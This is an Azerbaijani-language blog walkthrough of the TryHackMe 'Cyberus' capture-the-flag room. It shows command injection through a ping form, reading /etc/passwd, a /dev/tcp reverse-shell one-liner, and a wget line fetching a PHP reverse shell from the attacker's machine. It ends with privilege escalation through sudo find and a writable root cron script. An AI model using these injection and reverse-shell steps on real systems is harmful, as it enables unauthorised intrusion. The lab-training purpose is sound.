Cyberus CTF
Hər kəsə salam, bu gün tryhackme.com saytında private room olan Cyberus CTF-nin həllini sizinlə bölüşəcəm. CTF-i həll etmək üçün bu keçiddən istifadə edə bilərsiniz. Gəlin başlayaq.
İlk öncə məlumat toplamaq üçün nmap-dən istifadə edirik.
nmap -sC -sV 10.10.71.211

22, 80 və 9999 portlarının açıq olduğunu görürük, 22-ci portdan bir şey edə bilməyəcəyimizə görə hələlik arxaplanda saxlayırıq. İlk öncə normal olaraq firefoxda axtarış edirik.

Görünür ki, burada bizim əldə edəcəyimiz vacib bir məlumat yoxdur (hamınızı kəsəcəm istisna xD). Gəlin indi 9999-cu portdan giriş edək.

Və budur, ən azından başqa bir səhifəyə keçid etdik, baxaq burada nə edə bilərik.

path və cavaba baxsaq görə bilərik ki, bu sistem cmd formatıyla işləyir, bu isə bizə daha çox xeyr edəcək xD. Sadəcə linux və ya windows əmrləri yazdıqda işləmir, lakin bir nüans var, bəs bypass edə bilərikmi? Təbiikidə bəli, çünki heç bir sistem “qırılmayacaq” qədər güclü deyildir.

Giriş yerinə normal ip yazıb sonuna ; yazsaq asanlıqla bypass etmək olar, amma təəssüflər olsun ki, gözəl cmdimiz bunu çıxışa verdikdən sonra input hissəsindən silir, amma dərt etməyin geri qayıdan cavabın son sətrinə baxaq, index.php.

Aha deməli hal hazırda /var/www/blog-dayıq. Bəs nə edə bilərik? Shell formatıdırsa təbiiki ilk ağıla gələn reverse shell atmaqdır lakin necə? Çünki terminal olaraq işləmir, yəni müəyyən qeyd yazmaq proqramları işləyə bilməz. Bunlardan əvvəl hədəfimizin adını bilməliyik, bunun üçün cat /etc/passwd-dan baxmaq olar.

Çox vaxt /etc/passwd faylındakı axırdan ikinci və ya üçüncü adlar əsasən hədəfimizin adın olur. Əla artıq hədəfimizin adını tapmışıq, pinguser. Əvvvəldə dediyim kimi faylları oxumaq üçün ən əsası pinguser profilinə keçid etmək lazımdır, bunun üçündə ən yaxşı ehtimalda biz reverse shell atmalıyıq. Normal olaraq sh -i >& /dev/tcp/VM_İP_ADRESS/1234 0>&1 kimi payloadlar işləmir, daha irəli formatda bir şey etməliyik. Asanlıqla yoxlayıb görə bilərik ki, fayl yarada bilirik və ən əsası o faylı yazıb oxuya bilirik. Echo əmri ilə bir şey yazmaq istəsək alınır, amma reverse shell kimi kodlarda işləmir, çünki echo əmri sadəcə bir sətr üçündür. Burada isə biraz hiyləgər yola əl atırıq, kali-də reverse shelli hazırlayırıq, sonra isə python3 -m http.server 8000 yazıb server açırıq. Sonra isə saytımıza qayıdıb 1.56.49.1; wget http://vm_ip:8000/shell-reverse.php yazırıq. Əla artıq reverse shell yükləndi, indi isə sadə olaraq php shell-reverse.php əmri ilə shelli işə salırıq və eyni zamanda ip adresimizi dinləyirik nc -lvnp 4444.

Gördüyünüz kimi artıq daxil olduq, lakin hələ də user qismində deyilik. Sudo -l ilə nopasswd tələb edənləri görürük, sadə olaraq findı pinguser kimi execute edirik, və artıq pingusera keçdik.


Və artıq birinci bayrağımızı aldıq, təşəkkürlər Millisec <3. Artıq tək işimiz qaldı, root olmaq (qorxuram…). Root olmaq üçün klassic sudo -l etdikdə bir nəticə olmur, ona görə manual olaraq ola biləcək root accsesslərindən biri /etc/crontabdır.

rootscript.sh gözümə yaxşı görsəndi deyə burdan girmək istəyirəm.

Əladır, çünki root olmağımızı istəmədən oxuyub, yaza bilirik. Gəlin indi qeyd olunan ip adresi dəyişib vm_ip_adressimizi yazaq və eyni zamanda başqa bir terminalda 5555-ci portu dinləyək. chmod +x rootscript.sh edərək root ola bilərik.

Və artıq rootuq. Sonra isə normal olaraq ls -la edib nə var nə yox olduğuna baxırıq, normal cat -root.txt yazdıqda təbii ki açılmayacaq buna səbəb faylın əvvəlindəki olan xüsusi simvoldur, bunun üçün cat ./-root.txt yaza bilərik.

Və beləliklə Cyberus CTF maşınını həll etmiş olduq. Oxuduğunuz və CTF həll etdiyiniz üçün təşəkürlər!
Ümidvaram faydalı olmuşdur.Təşəkkürlər!
Bizi izləyin:
Telegram (Kanal): https://t.me/xakeraz_official
Paylaşımların səliqəli yığılmış halı: https://t.me/xakerazgroup
Fikir və şərhləriniz : https://t.me/xakerazchat